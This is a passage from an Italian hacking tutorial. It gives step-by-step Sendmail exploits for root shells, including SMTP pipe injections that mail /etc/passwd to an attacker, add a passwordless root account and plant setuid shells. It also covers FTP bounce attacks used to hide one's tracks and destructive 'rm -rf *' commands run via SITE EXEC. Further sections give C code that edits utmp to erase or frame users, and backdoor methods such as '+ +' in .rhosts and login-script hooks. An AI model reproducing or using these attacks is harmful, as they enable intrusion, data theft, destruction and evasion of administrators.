|E il bello è il modo in cui lo si fa; non tramite una password o chissà cosa, ma|
|dalla parte più "innocua" di un sistema informatico: la posta elettronica! |
| |
|Vogliamo vedere cosa si può fare con Sendmail? :) |
| |
|Iniziamo con le sottoversioni della 8.6 (più precisamente le 8.6.6 e 8.6.7). |
|Vogliamo una shell root? Niente di più facile: basterà chiamare il programma Sen|
|dmail con il parametro -d seguito da un numero molto grande, come nel seguente |
|esempio: |
| |
| Sendmail -d3344556677 |
| |
|Se non avete un accesso diretto al server (e quindi state "lavorando" da remoto)|
|avrete bisogno di una shell per "chiamare" Sendmail. |
|Come ottenerla sarà oggetto dei prossimi volumi, ma se andate di fretta potete |
|sempre prendere un file passwd o shadow e crackarlo per avere accesso shell. |
|L'ideale sarebbe un account di quale Università... |
| |
|Oppure potreste usare l'hack del PHF (o della Query, come ultima risorsa) per es|
|eguire il comando senza bisogno di shell interattiva. |
|Ancora una volta vi consiglio di aspettare di conoscere TUTTA la materia, prima |
|di mettere in pratica... ancora non sapete come nascondervi in un sistema, quin-|
|di non abbiate fretta. Se proprio volete testare qualcosa, procuratevi Linux (se|
|non l'avete già), installatelo sul VOSTRO computer e provate. |
| |
|Per la cronaca, la sottoversione 8.6.9 non è vulnerabile a quest'attacco, ma an-|
|che qui si può avere una shell root, utilizzando un exploit che si trova sui si-|
|ti per hackers. Si tratta di un programmino in C (creato da Atreus). |
|Non lo includo perché dalla versione 8.6.12 (compresa) in poi tale exploit non |
|funziona. |
| |
| [NOTA] La maggior parte dei problemi di sicurezza vengono fatti notare e molto |
| spesso anche risolti proprio dagli hackers. Se non ci fossero gli hacker|
| saremmo rimasti a versioni... preistoriche dove bastava scrivere WIZ per|
| avere tutto un computer ai propri comandi. Un motivo in più per smettere|
| di prendersela con noi se si assume personale incapace di gestire seria-|
| mente un sistema informatico, sia esso in rete o meno. |
| |
|Ci sono molte altre versioni 8.x.x bacate, ma poiché si tratta di piccoli bug |
|tutti diversi è consigliabile cercare quello che interessa sul sito di 8lgm |
|(http://www.8lgm.org), che elenca tutti i bug e ne dà un hack completo per cias-|
|cuno, o su L0pht (http://www.l0pht.com). |
| |
|Unix assegna un livello utente (UID, cioé User IDentifier) e un livello di grup-|
|po (GID, cioé Group IDentifier) a ciascun utente. |
|Un UID pari a 0 è (quasi sempre) un utente root. Se ad esempio nel file passwd |
|di un sito troviamo... |
| |
| root:7u89vCSK0oL:amministratore:0:0:/:/bin/sh |
| |
|il primo numero (0) è UID e il secondo (0) è GID. |
| |
|E' possibile sfruttare un bug di Sendmail per forzare il nostro UID a 0... e di-|
|ventare root :) Supponiamo infatti di aver crackato la password di un utente |
|qualsiasi, ma di non riuscire ad accedere a root... come fare? |
|Utilizzando questo hack sul Sendmail. Bisognerà innanzitutto avere accesso a una|
|shell; molti utenti hanno una shell, anche se limitata, ma servirà allo scopo. |
|Se proprio non riuscite a procurarvene una, collegatevi a una delle tantissime |
|BBS via Telnet presenti su Internet. Esse sono quasi sempre ad accesso gratuito |
|e usano sistemi Unix, con tanto di shell per gli utenti. |
|Non sono shell root... ma sapremo accontentarci, dal momento che da una shell ad|
|accesso limitato si può arrivare a root. |
|Alcuni siti, come quello di Lord Somer (http://www.ilf.net/LordSomer/), hanno in|
|tere liste di BBS Telnet. Dovete solo scegliere quella che preferite. |
| |
|Dicevamo, come forzare UID a 0 ora che abbiamo una shell? Digitando quanto segue|
| |
| % cat ~/.forward <-- noi |
| <-- noi |
| miosito.com miousername <-- noi |
| ^D <-- noi (premere Ctrl-D) |
| % smail -bs -D ~root/.rhosts -v20 <-- noi |
| 220 provider.com Sendmail x.x.x.x ready ecc... <-- server |
| expn root <-- noi |
| 250 <-- server |
| quit <-- noi |
| % rsh -l root lamesite.com tcsh\ -i <-- noi |
| WARNING: no access to TTY (bad file number) <-- server |
| # id <-- noi |
| UID=0 GID=0 <-- server |
| |
|Nell'ultima riga, quando scriviamo il comando ID, il server risponde che il nos-|
|tro UID e il nostro GID sono uguali a 0... il che significa... beh, lo avete ca-|
|pito =) |
| |
|I vecchi server Sendmail (versioni 5.xx) hanno dei bug estremamente gravi; basti|
|pensare alla versione 5.64 che permette di sfruttare il programma "decode" (uude|
|code) di Unix per "eliminare" l'accesso tramite password. |
|In pratica, inviando una FakeMail (con Telnet) di questo tipo: |
| |
| HELO hacker.com |
| MAIL FROM: bin |
| RCPT TO: decode |
| DATA |
| begin 644 /usr/bin/.rhosts |
| $*R`K"@`` |
| ' |
| end |
| |
| . |
| |
| QUIT |
| |
|sarà poi possibile utilizzare un client rlogin per collegarsi senza bisogno di |
|password. Ma come è stato possibile? Quello che è successo è questo: |
|il file .rhosts di Unix contiene una lista di hostname e username ai quali |
|è consentito l'accesso. Mettendo un + al posto di hostname e username si consen-|
|te l'accesso a chiunque, ed è esattamente questo ciò che abbiamo fatto: la linea|
|dopo "begin 644..." non è altro che tale comando (+ +) codificato con il program|
|ma encode (uuencode). Inviando questa FakeMail a decode (uudecode) quel codice |
|verrà ritrasformato in "+ +" e scritto nel file /usr/bin/.rhosts (vedi sopra). |
|Basterà dunque procurarsi un client rlogin per acedere tranquillamente al server|
| |
|La versione 5.65 di Sendmail (la successiva a quella appena vista, creata per ri|
|solvere quel problema) è ancora più pericolosa... ;) |
|Infatti basta inviare via Telnet i seguenti comandi: |
| |
| HELO hackers.com |
| MAIL FROM: |/usr/ucb/tail|/usr/bin/sh |
| RCPT TO: prova |
| DATA |
| From: pirata@hackers.com |
| Return-Receipt-To: |nessuno |
| |
| #!/bin/sh |
| COMANDI |
| |
| . |
| |
| QUIT |
| |
|Al posto di "COMANDI" vanno inseriti uno o più comandi shell (su righe separate)|
|come ad esempio: |
| |
| /bin/mail pirata@hackers.com < /etc/passwd |
| |
|per inviare a voi stessi il file /etc/passwd (o qualsiasi altro), oppure: |
| |
| echo prova::0:0::/:/bin/sh >> /etc/passwd |
| |
|per aggiungere l'account "prova" (con accesso root, senza password, con shell ro|
|ot e accesso a tutto l'hard disk....) al file /etc/passwd (notate i due >> anzi-|
|ché uno solo). O ancora: |
| |
| chmod 777 /etc/passwd |
| |
|per rendere il file /etc/passwd (o altro) prelevabile senza restrizioni, o: |
| |
| cp /bin/sh /tmp/pirata |
| chmod 6777 /tmp/pirata |
| |
|dove nella prima riga copiamo (cp) la shell (/bin/sh) nella directory /tmp col |
|nome di "pirata" (vi consiglio di cambiare questo nome :) |
| |
|Nella seconda riga diamo accesso al file /tmp/pirata a chiunque, anche a un uten|
|te qualunque. Tale file non è altro, come abbiamo visto, che la shell. Quindi |
|basterà andare in /tmp ogniqualvolta vi servirà una shell root, e digitare "pira|
|ta" per invocare la shell ed eseguire un qualsiasi comando. |
| |
|Un altro hack famoso è quello dell'attacco del pipe, funzionante su versione 5.5|
|6 (e altre). Funziona così: si prepara una semplice FakeMail del tipo... |
| |
| HELO hacker.com |
| MAIL FROM:<"|/bin/mail pirata@hackers.com < /etc/passwd"> |
| RCPT TO:<"pirata@hotmail.com"> |
| DATA |
| questa è una prova... |
| |
| . |
| |
| QUIT |
| |
|e, se il server e` vulnerabile, riceveremo il file /etc/passwd via e-mail. Natu-|
|ralmente si potrà usare qualsiasi comando dopo il pipe (il "|"). |
| |
+--------------------------------------------------------------------------------+
| |
| [H] - FTP Bounce |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - TECNICHE AVANZATE: FTP BOUNCE |
|
|
|Passiamo ora a qualcosa di veramente interessante: FTP. Vi chiederete ma FTP non|
|serve solo a trasferire i file? |
|La risposta è no. Beh, dovrebbe essere si... ma sapete com'è... un hacker è un |
|pò come un bambino curioso che si diverte di più a "smontare" un giocattolo che |
|a usarlo per quello a cui servirebbe =) |
| |
|Innanzitutto sappiate che FTP altro non è che una sessione di Telnet con qualche|
|piccolo extra in più (il trasferimento di file). |
| |
|Esistono infatti dei comandi "interni", come abbiamo visto per SMTP, e quindi an|
|che FTP è gestibile (in parte) tramite Telnet. |
| |
|La tecnica che ci accingiamo a studiare è detta "FTP Bounce" (rimbalzo dell'FTP)|
| |
|Vi servirà innanzitutto un server FTP che vi permetta di inviare e prelevare fi-|
|les da una directory qualsiasi. Potete tranquillamente trovare tali server cer- |
|cando la parola "warez" (software commerciale piratato) con un motore di ricerca|
|di files come "FTP Search" (http://ftpsearch.ntnu.no/ftpsearch), oppure "Filez" |
|(http://www.filez.com); prendete nota anche della directory che verrà visualiz- |
|zata accanto al nome del server che la contiene. |
| |
|Ora provate a collegarvi a uno di quei server, ed a entrare nella directory "wa-|
|rez" (o un'altra in cui si possano leggere e scrivere i files). Provate a invia-|
|re un file di prova e a prelevarlo di nuovo, per controllare se è questo il ser-|
|ver "giusto". Se tutto funziona, lo avete trovato, altrimenti usatene un altro |
|(ce ne sono moltissimi). |
| |
|Questo server sarà la vostra "base di lancio". In tutti gli attacchi che effet- |
|tuerete verrà visualizzato l'IP Address di questo server, anziché il vostro. |
| |
|Ora studiamo il funzionamento dell'attacco, in modo da poterlo adattare a qual- |
|siasi nostro bisogno, per poter magari anche inventare nuovi metodi di utilizzo |
|a seconda delle necessità. |
| |
|Dovremo innanzitutto creare un file (vedremo tra poco come) che contenga i coman|
|di che vogliamo far eseguire (in base a ciò che vogliamo fare). |
|Non preoccupatevi ora del suo contenuto. Per ora ci interessa solo studiare il |
|funzionamento della tecnica, e poi procedere con gli esempi. |
| |
|Ora ci servirà un normale programma client FTP (come Cute-FTP e WS-FTP se usate |
|Windows, oppure il comando FTP di Linux). Lo useremo per inviare il file di cui |
|sopra nel server "base" che abbiamo scelto prima. |
| |
|Una volta inviato il nostro file, chiuderemo FTP e passeremo a Telnet. |
| |
|La porta di FTP è la numero 21. Colleghiamoci dunque al server "base" alla porta|
|21 e aspettiamo una risposta. Ora potremo inserire i comandi: |
| |
| USER anonymous |
| PASS nessuno@niente.com |
| |
|e, se l'accesso anonimo è abilitato (come succede nel 90% dei casi), il server |
|risponderà qualcosa come "User anonymous logged in". Siamo dentro. |
| |
|Dobbiamo ora conoscere l'IP Address del server da attaccare. Perciò avremo biso-|
|gno di un programma DNS per risalire dall'host name all'IP Address. |
| |
|Ora digitiamo (in Telnet) il comando PORT x,x,x,x,0,y dove x,x,x,x è l'IP Addres|
|del server da attaccare e y è la porta del servizio da attaccare (21 per FTP, 80|
|per il Web, e così via). |
|Notate che l'IP Address in questo caso non usa punti per separare i numeri ma |
|delle virgole. |
| |
|Quello che succede inserendo il comando PORT è questo: diciamo al server FTP di |
|collegarsi all'IP Address e alla porta che gli diamo come parametri. |
|In pratica, sarà il server FTP a collegarsi, anziché noi... abbiamo così il ser-|
|ver come "complice", in quanto sarà lui a fare tutte le operazioni e le eventua-|
|li tracce lasciate saranno le sue! :) Noi siamo nell'ombra... |
|(vi renderete conto che questo è un ottimo mezzo per nascondere in un modo im- |
|pensabile le proprie tracce, qualsiasi cosa vi serva fare). |
| |
|Basterà ora digitare RETR nomedelfileinviato e tutti i comandi desiderati saran-|
|no inviati dalla "base" alla "vittima". |
| |
|Ma ora basta teoria, passiamo a qualche esempio esplicativo. |
| |
|Vogliamo ad esempio inviare una FakeMail impossibile da rintracciare? |
|Allora studiamo il problema in questi termini: |
| |
| 1) quali tipi di comandi dovremo inserire nel file? |
| 2) quale servizio stiamo hackerando? |
| 3) quale server useremo come destinazione? |
| |
|Ecco le risposte: |
| |
| 1) i comandi saranno per SMTP, dovendo noi inviare una FakeMail |
| 2) il servizio è, come abbiamo appena detto, la posta, cioé SMTP |
| 3) un qualsiasi server SMTP andrà bene; usaremo DNS per conoscerne l'IP Addres|
| (che in questo esempio supponiamo essere 123.45.67.89) |
| |
|Ora ci colleghiamo, come abbiamo fatto prima, al server "base" (FTP) con il cli-|
|ent FTP e inviamo i comandi (che avremo scritto prima di iniziare il collegamen-|
|to) della FakeMail: HELO, MAIL FROM, ecc. (la solita FakeMail). |
| |
|Adesso useremo Telnet sul server "base" (la porta è sempre 21, fin qui rimane |
|sempre tutto uguale) e digitiamo PORT 123,45,67,89,0,25 dove 123,45,67,89 è l'IP|
|Address del server che dovrà eseguire il nostro file (il server di posta), ma |
|con le virgole anziché i punti (questo è il formato richiesto da FTP), mentre 25|
|è la porta SMTP. |
| |
|Infine scriveremo RETR nomedelfileinviato per avviare l'esecuzione dei comandi. |
|Dopo poco tempo la FakeMail verrà inviata dal server, ma senza un IP Address che|
|riveli la nostra identità. |
| |
| [NOTA IMPORTANTE] Alla fine del file dei comandi bisogna aggiungere circa 60 |
| kilobyte di byte 0, affinché la connessione duri abbastanza e|
| non si interrompa bruscamente. |
| Per creare tale file basta usare "debug" (sotto DOS) |
| scrivendo: |
| |
| DEBUG PROVA <-- noi |
| File non trovato |
| -f 100,F000,0 <-- noi |
| -rcx <-- noi |
| :0000 |
| EA60 <-- noi |
| -w <-- noi |
| Scrittura di EA60 bytes in corso... |
| -q <-- noi |
| |
|Ora un file chiamato "PROVA" di dimensioni 60000 byte sarà stato creato. |
|Se il nostro file dei comandi l'abbiamo chiamato "comandi" (che fantasia...) |
| |
|scriveremo: |
| |
| copy /b comandi+prova finale |
| |
|E un nuovo file, "finale", verrà creato. Questo sarà il file da inviare. |
| |
| [ATTENZIONE] Questo va fatto TUTTE le volte che useremo il metodo dell'FTP Boun|
| ce, non solo nel caso della FakeMail. |
| |
| |
|Facciamo ora un altro esempio, un pò più complesso. |
| |
|A volte capita di trovare un server che non ci permette di prelevare un file per|
|ché magari il provider da cui chiamiamo è in Italia e il suddetto server invece |
|si trova all'estero e non vuole dare accesso a chi proviene da *.it e cose del |
|genere. Come fare, allora? |
| |
|Creeremo un file dei comandi contenente quanto segue: |
| |
| user anonymous |
| pass nessuno@niente.com |
| cwd /directory/dove/si/trova/il/file |
| type i |
| port X,X,X,X,Y,Y |
| retr nome_del_file_da_prelevare |
| quit |
| |
|(ovviamente anche questo file va "trattato" con debug e copy). |
| |
|Chiamiamo questo file con un nome come "bounce". |
| |
|Nel file sopra dovrete sostituire directory e nome file. X,X,X,X è il *vostro* |
|IP Address, e Y,Y è spiegato piu` giù. |
| |
|Ecco cosa bisogna fare: |
| |
| - Collegatevi con Telnet alla porta 21 del server "base" |
| - Scrivete PASV (e invio, ovviamente) |
| - Il server risponderà con qualcosa come 111.22.33.44,0,21 Prendete nota degli|
| ultimi due numeri (0 e 21) |
| - Scrivete STOR hahaha |
| - Ora Telnet si bloccherà, poiché sta aspettando i dati da inviare |
| - Usate il vostro client FTP, collegatevi di nuovo al server e inviate il file|
| (nel nostro esempio l'abbiamo chiamato bounce) |
| - Ora aprite un altro client Telnet, collegatevi di nuovo al server "base" sul|
| la porta 21 e scrivete PORT x,x,x,x,0,21 (dove x.x.x.x e` l'IP Address del |
| server da attaccare, cioé quello da cui volete prelevare i file) |
| - Scrivete RETR bounce (se avete chiamato "bounce" il file dei comandi) |
| - Dopo un certo tempo (che dipende dalle dimensioni del file da scaricare) |
| troverete il file desiderato nel server "base", con il nome "hahaha". |
| |
|Esistono molti altri metodi per utilizzare l'FTP Bounce; ad esempio se volete |
|"bombardare" un utente su IRC, potete creare un file dei comandi contenente una |
|serie di DCC CHAT, PRIVMSG, ecc (solo se conoscete bene IRC) e farli mandare dal|
|vostro server "base" a uno (o molti) server IRC. |
| |
|Potete inoltre usarlo per collegarvi a una shell (i comandi Telnet vanno messi |
|nel file dei comandi) e leggere il file delle password e fare altre cose senza |
|essere scoperti. Ad esempio potete usare "cat < /etc/shadow" per visualizzare un|
|file delle password shadow, o un "rm -rf *" (molto utile per rendere la vita mis|
|erabile ai SysAdmin che si stancano di fare un backup di tutti i files dei loro |
|sistemi)... |
| |
|Vale la pena di spendere ancora un paio di parole sui bugs di FTP. |
| |
|SITE EXEC è un comando che si trova in molti server, sia per Unix che per Win- |
|dows. Non è un bug, ma un comando che sembra essere stato fatto apposta per un |
|hacker.malicious :) A cosa serve, vi chiederete... |
| |
|Utilizzando Telnet sulla porta 21 di un server FTP, inviate i comandi USER e PAS|
|come visto sopra, in modo da accedere in modo "anonimo" al server, e poi digita-|
|te SITE EXEC seguito da un comando. Se SITE EXEC è implementato, il vostro coman|
|do verrà eseguito. |
| |
|Un modo per conoscere quali comandi sono implementati su un server FTP si può |
|usare il comando HELP. |
| |
|Un'attività che personalmente *adoro* praticare è andare sui canali IRC per pedo|
|fili, aspettare che qualcuno faccia pubblicità all'indirizzo del proprio server |
|FTP pieno di schifezze e fare un po` di pulizia usando il comando: |
| |
| SITE EXEC rm -rf * |
| |
|...se il server è per Unix (come ftpd). Oppure usando format /autotest se il ser|
|ver è (praticamente sempre) per Windows (Serv-U, WarFTP). |
| |
+--------------------------------------------------------------------------------+
| |
| [I] - Hacking Pratico |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - HACKING PRATICO PARTE I: Introduzione |
| |
|Passiamo ora dalla teoria alla pratica: come vi ho già detto nel precedente volu|
|me è bene che vi facciate un account su una delle tante BBS via Telnet che sono |
|presenti su Internet, in modo da poter accedere via Telnet ai vari servizi senza|
|doverci preoccupare di dover cancellare il nostro IP Address. |
| |
|Ovviamente per avere la certezza di non lasciar tracce dovremmo applicare delle |
|misure di sicurezza addizionali, come cancellare i log di sistema e utilizzare |
|un account di qualcun altro... ma in genere una shell di una BBS via Telnet può |
|bastare (a meno che non abbiate in mente di hackerare un mainframe del Pentagono|
|o del NORAD). |
| |
|Prima di usare il vostro client Telnet preferito ricordate le tecniche di "boun-|
|ce" di cui vi avevo parlato un pò di tempo fa? |
| |
|Rivediamole brevemente: usando un programma come Telnet, Finger, FTP, ecc... è |
|possibile effettuare un collegamento ricorsivo: in pratica, se il server sul qua|
|le abbiamo l'accesso shell è sito.com noi potremo collegarci ad esso e una volta|
|dentro potremo usare Telnet, Finger, ecc. per collegarci ancora una, due, tre |
|volte a sito.com. Ciò puo` sembrare stupido: collegarsi a un sito, e da questo |
|collegarsi di nuovo allo stesso sito! |
| |
|In realtà è un ottimo metodo per nascondere il nostro IP Address. Infatti, ogni-|
|qualvolta ci colleghiamo a un sito lasciamo l'IP Address del server sul quale si|
|amo collegati. Normalmente, questo è l'IP Address del provider che stiamo usando|
|e da esso si può risalire a noi. |
|Ma se disponiamo di un account su una BBS via Telnet (come detto prima), non dov|
|remo far altro che collegarci ad essa, e qualsiasi cosa faremo tramite la sua |
|shell, anziché il nostro IP lasceremo quello della BBS. |
| |
|Ovviamente però la vittima degli attacchi potrebbe rivolgersi al SysAdmin della |
|BBS e questi troverebbe il vostro IP Address nei suoi log. |
| |
| [Ricapitolando] La vittima ha l'IP della BBS (perché è da lì che vi siete col- |
|legati), mentre la BBS ha il vostro IP. |
| |
|Se poi dalla BBS ci colleghiamo tramite Telnet alla BBS stessa, l'IP Address re-|
|gistrato non sarà il nostro ma quello della BBS! Quindi ora il nostro IP non com|
|pare più da nessuna parte. Per essere ancora più sicuri potremmo iterare la con-|
|nessione una terza volta, oppure collegarci dalla BBS primaria a un'altra BBS su|
|cui abbiamo un account (bounce)... insomma, basta usare la fantasia :) |
| |
|Ma ora occupiamoci dei log di sistema. Le nostre lezioni sull'hacking si baseran|
|no principalmente su Unix (e quindi le varianti come Linux, ecc.) ma in futuro |
|tratteremo anche altri sistemi come Windows NT e Macintosh. |
| |
+--------------------------------------------------------------------------------+
| |
| [J] - Hacking Pratico |
| |
+--------------------------------------------------------------------------------+
| |
| |
| [#] - HACKING PRATICO Parte II: Dissimulazione |
| |
|I file di log più "pericolosi" che contengono le tracce da cancellare sono /etc |
|/utmp e /etc/wtmp ma un SysAdmin (a meno che non sia improvvisamente impazzito) |
|sa che proprio per evitare "manomissioni" tali file vanno protetti e quindi in |
|genere non è possibile, per un utente qualsiasi, scrivere in essi. |
| |
|I "permessi" di lettura, scrittura e cancellazione di file e directory sotto Un-|
|ix sono nella forma drwxrwxrwx (non spaventatevi! =) dove: |
| |
| "d" sta per directory (se c'è è una directory, altrimenti è un file) |
| "r" sta per read (accesso in lettura consentito) |
| "w" sta per write (accesso in scrittura consentito) |
| "x" sta per execute (è permesso eseguire il file) |
| |
|Quando una o più di questi permessi non sono abilitati (non è consentito fare |
|una cosa, come nel caso di r w x oppure non si tratta di una directory nel caso |
|di d) al loro posto troveremo un trattino (-). |
| |
|Escludiamo ora il primo carattere, che serve solo a capire se stiamo avendo a |
|che fare con un file o una directory, e passiamo agli altri. Essi sono raggrup- |
|pati in tre gruppi di tre caratteri ciascuno: il primo gruppo si riferisce a co-|
|sa può fare l'utente, il secondo a cosa può fare il gruppo e il terzo a cosa pos|
|sono fare gli altri. Un esempio: -rwxrw-r-- significa che l'utente può leggere, |
|scrivere ed eseguire il file (rwx), il secondo (rw-) significa che il gruppo (ve|
|di spiegazione sui file delle password) può leggere e scrivere, ma non eseguire |
|il file, mentre l'ultimo (r--) significa che gli altri possono soltanto leggere |
|il file, ma non modificarlo. |
| |
|Per visualizzare i permessi di un file useremo il comando LS di Unix. Esso equi-|
|vale grossolanamente al comando DIR del DOS. L'uso di LS per visualizzare i per-|
|messi di file e directory è il seguente: |
| |
| ls -l nome_e_percorso_del_file |
| |
|Quindi, nel caso di utmp faremo: ls -l /etc/utmp dalla nostra shell. Vediamo dun|
|que dal risultato di questo comando se abbiamo il permesso di scrivere in quel |
|file: se il terzo carattere (nella forma vista prima) è la lettera "w" (write) |
|abbiamo tali permessi. Se invece è un trattino, dovremo accontentarci di nascon-|
|dere il nostro IP Address... oppure hackerare root per avere tutti i permessi |
|abilitati :) |
| |
|Se dunque abbiamo il permesso di scrittura, potremo nascondere le nostre tracce |
|o dissimulare il nostro username. Mi spiego meglio: supponiamo che il nostro |
|username è "hacker". Il nostro scopo è farlo scomparire dai log, ma potremmo an-|
|che volerlo cambiare e far ricadere la colpa su qualcun'altro che abbia un certo|
|username, o ancora far comparire nei log un username inesistente (ad esempio |
|qualche parolina per sfottere un pò il SysAdmin nel caso in cui vada a leggersi |
|il log per risalire a noi). |
| |
|Ecco il programma in C (per Unix) che farà entrambe le cose, a seconda di quella|
|che ci serve: |
| |
+----------------------------------INIZIO-CODE-----------------------------------+
| |
| #include <stdio.h> |
| #include <fcntl.h> |
| #include <sys/types.h> |
| #include <utmp.h> |
| #include <sys/stat.h> |
| |
| struct utmp *user; |
| char *usrt; |
| |
| main (argc,argv) |
| int argc; |
| char *argv[]; |
| { |
| int fatto=0, cnt=0, start=1, index=0; |
| char err[80]; |
| if (argc == 1) printf("Removing you from utmp\n"); |
| if (argc == 2) printf("Changing your login to %s\n",argv[1]); |
| utmpname("/etc/utmp"); |
| usrt = strrchr(ttyname(0),'/'); |
| strcpy(usrt,++usrt); |
| while (fatto != 1) { |
| user = getutent(); |
| cnt++; |
| if (strcmp(user->ut_line,usrt) == 0) fatto=1; |
| } |
| utmpname("/etc/utmp"); |
| for (start=0; startut_type = LOGIN_PROCESS; |
| strcpy(user->ut_name,"LOGIN"); |
| } |
| else user->ut_type = USER_PROCESS; |
| if (argc == 2) strcpy(user->ut_name,argv[1]); |
| pututline(user); |
| endutent(); |
| } |
| |
+-----------------------------------FINE-CODE------------------------------------+
| |
|Ovviamente dovrete avere almeno un pò di dimestichezza con Unix... vi basterà |
|salvare questo listato sotto forma di file di testo, e inviarlo in una directory|
|del server da hackerare, dopodiché dovrete compilare il file usando gcc oppure |
|cc (i due compilatori C più usati sotto Unix), digitando nella shell: |
| |
| gcc nome_del_file.c |
| |
|Se tutto è andato bene, troverete nella directory un file compilato (se il nome |
|del file era nascondi.c il nome del file eseguibile sarà semplicemente "nascon- |
|di"). L'uso è semplice: eseguendo il file le vostre tracce saranno cancellate da|
|utmp. Scrivendo invece (ad esempio): nascondi hahaha il vostro username non sarà|
|cancellato da utmp, ma verrà sostituito con "hahaha". |
| |
|Se avete il permesso in scrittura su utmp e non volete cimentarvi con il C e i |
|compilatori (dovrete farlo prima o poi, se volete imparare seriamente) e volete |
|ancora eliminare il vostro username dal log, dovrete: |
| |
| 1) usare la tecnica del collegamento ricorsivo con Telnet (vista all'inizio di|
| questo file) per nascondere l'IP; |
| 2) modificare il file utmp per rimuovere l'username... o eliminarlo. |
| |
|Comunque vi consiglio caldamente di evitare questa "manovra" estrema e di usare |
|il programma in C sopra riportato. |
| |
|Nel frattempo, se avete installato Unix o Linux sul vostro computer (non l'avete|
|fatto ancora?? che aspettate? la miglior teoria è la pratica ;) sarebbe bene |
|prendere dimestichezza con il compilatore C e con i comandi di base (come cat e |
|ls), e dare poi uno sguardo ai file utmp e wtmp per vedere come sono strutturati|
|Provate anche a compilare e usare il programma in C che trovate qui sopra. |
| |
+--------------------------------------------------------------------------------+
| |
| [K] - Hacking Pratico |
| |
+--------------------------------------------------------------------------------+
| |
| [#] - HACKING PRATICO PARTE 2: Trojan Horse e Backdoor |
| |
|Ora sappiamo come nascondere le nostre tracce, e come ottenere accesso root su |
|un sistema, ma è probabile che non appena il SysAdmin noterà qualche attività |
|sospetta farà di tutto per rendere vano tutto il nostro lavoro e tenerci alla |
|larga dal suo sistema. |
| |
|Se ciò può ostacolare un hacker alle prime armi, non potrà però fermare chi sa |
|come reagire nel modo giusto in questa guerra virtuale tra Hacker e SysAdmin. |
| |
|Iniziamo a identificare l'obiettivo principale: cosa ci consente di eseguire |
|qualsiasi comando, avere accesso a tutti i file e le directory, aggiungere o ri-|
|muovere a piacimento un account su un server, e così via? Ovviamente la risposta|
|è: la shell di root, ossia /bin/sh. |
| |
|Ma se l'utente root (cioè il SysAdmin) dovesse toglierci i privilegi root, avrem|
|mo solo una possibilita`: hackerare di nuovo il server, sperando che il SysAdmin|
|non si sia accorto del metodo che abbiamo utilizzato per "entrare" e non abbia |
|corretto il problema. |
| |
|Questa ovviamente non è una soluzione brillante... perciò vediamo come fare per |
|avere qualche carta in più da giocare. |
| |
|Un metodo può essere creare un programma o uno script che abbia i privilegi di |
|root. Infatti, quando copiamo un file ne conserviamo i privilegi; perciò se ad |
|esempio copiamo /bin/sh in /tmp/test anche se poi accediamo al server con un ac-|
|count di un utente qualsiasi (e quindi senza privilegi), /tmp/test avrà la stes-|
|sa identica funzione di /bin/sh in quanto non abbiamo copiato solo l'eseguibile |
|della shell (sh) ma anche i suoi privilegi. Quindi mentre normalmente /bin/sh |
|non è accessibile agli utenti, /tmp/test (o qualsiasi sia il nome che gli abbia-|
|mo voluto dare) sarà una shell root utilizzabile da qualsiasi utente che sappia |
|della sua esistenza. |
| |
|Per applicare i nuovi permessi a un file esistente dobbiamo eseguire: |
| |
| chmod 4777 nomefile |
| |
|dove nomefile è (nel nostro caso) /tmp/test oppure un qualsiasi altro file con- |
|tenente la shell. "chmod" serve a cambiare i permessi di un file. |
| |
|La parte importante è 4xxx (dove xxx è il permesso standard di quel file). |
| |
|Se non conoscete bene Unix (e quindi non state capendo niente o quasi) vi consi-|
|glio per l'ennesima volta di installare Linux e di sperimentare con i comandi. |
|Usate il comando "man chmod" per avere ulteriori informazioni sul comando chmod,|
|oppure "man comando" per avere informazioni su un qualsiasi altro comando Unix. |
| |
|Se avete un client rlogin (oppure rsh o rexec) potete fare un'altra cosa. |
| |
|Come spiegato nel volume 7, il file .rhosts contiene una lista di username e pas|
|sword di chi può accedere a un server senza bisogno di password; in pratica, è |
|una lista di server e utenti "fidati" :) |
| |
|Aggiungendo una riga contentente soltanto questo: |
| |
| + + |
| |
|(senza le righe vuote prima e dopo) al file .rhosts (ad esempio usando PHF, Send|
|mail o "cat" da una shell per aggiungere questa riga al file, come spiegato nel |
|volume 5), chiunque potrà accedere al server usando rlogin, rsh e rexec ed ese- |
|guire comandi. Se non vogliamo dare accesso a chiunque (per evitare di essere |
|scoperti subito) potremo anche dare accesso solo a noi stessi, usando: |
| |
| nome_del_nostro_server nostro_username |
| |
|(anziché + +), ma NON fatelo se l'account è il vostro... se è di qualcun altro è|
|un discorso, altrimenti non fatelo. Infatti se e quando il SysAdmin darà un'oc- |
|chiata al file .rhosts troverà in pratica il vostro "biglietto da visita", cioè |
|nome del vostro server e il vostro username! Altro che nascondere IP Address ;) |
| |
|Dato quindi che starete certamente usando uno dei metodi spiegati nell'ottavo vo|
|lume, come il bounce tramite Telnet, e un account di qualche sperduta BBS oltreo|
|ceano, usare + + sarà più che sufficiente nella maggior parte dei casi (diciamo |
|pure sempre). |
| |
|Un altro metodo ancora è aggiungere un comando a uno dei file script di uno o |
|più utenti. Ma cos'è un file script? Non e` altro che un file di testo contenen-|
|te una lista di comandi da eseguire (come i file .BAT del DOS). |
|Quindi se aggiungiamo un comando esso sarà eseguito proprio come gli altri. |
| |
|Gli script sono .login e .logout (che vengono avviati rispettivamente quando un |
|utente si collega o si scollega), ma anche .profile e .cshrc e gli altri che ini|
|ziano con un punto in una directory utente. |
|Aggiungendo ad esempio la riga seguente: |
| |
| if /tmp/programma exists run /tmp/programma |
| |
|lo script verificherà se il file /tmp/programma esiste e in caso affermativo lo |
|eseguirà. Questo metodo è quindi l'ideale per eseguire un comando, come ad esem-|
|pio la shell, oppure per un troiano o una backdoor. |
| |
|Ma cosa sono i troiani? E le backdoor? |
| |
|Un troiano (detto anche Trojan Horse) è un programma che fa qualcosa di cui chi |
|lo esegue è ignaro. In genere sono concepiti per far danni, o attivare altri pro|
|grammi. |
| |
|Una backdoor, invece, è un programma che normalmente è presente sul sistema (ad |
|esempio "login", oppure i comandi presenti nella directory /bin), ma che è stato|
|modificato dall'hacker per fare qualcosa di preciso. |
|Quasi sempre questo "qualcosa" è accedere alla shell di root o eseguire uno o |
|più programmi. |
|L'utilità di una backdoor è che anche se un SysAdmin cambia la password di root,|
|o comunque vi impedisce di usare la shell, voi avete sempre questo "passaggio |
|segreto" per entrare nel sistema a sua insaputa, e senza lasciar traccia. |
| |
|Per chi conosce già un pò di C, diremo che una backdoor, nel caso più semplice, |
|non e` altro che qualcosa del tipo: |
| |
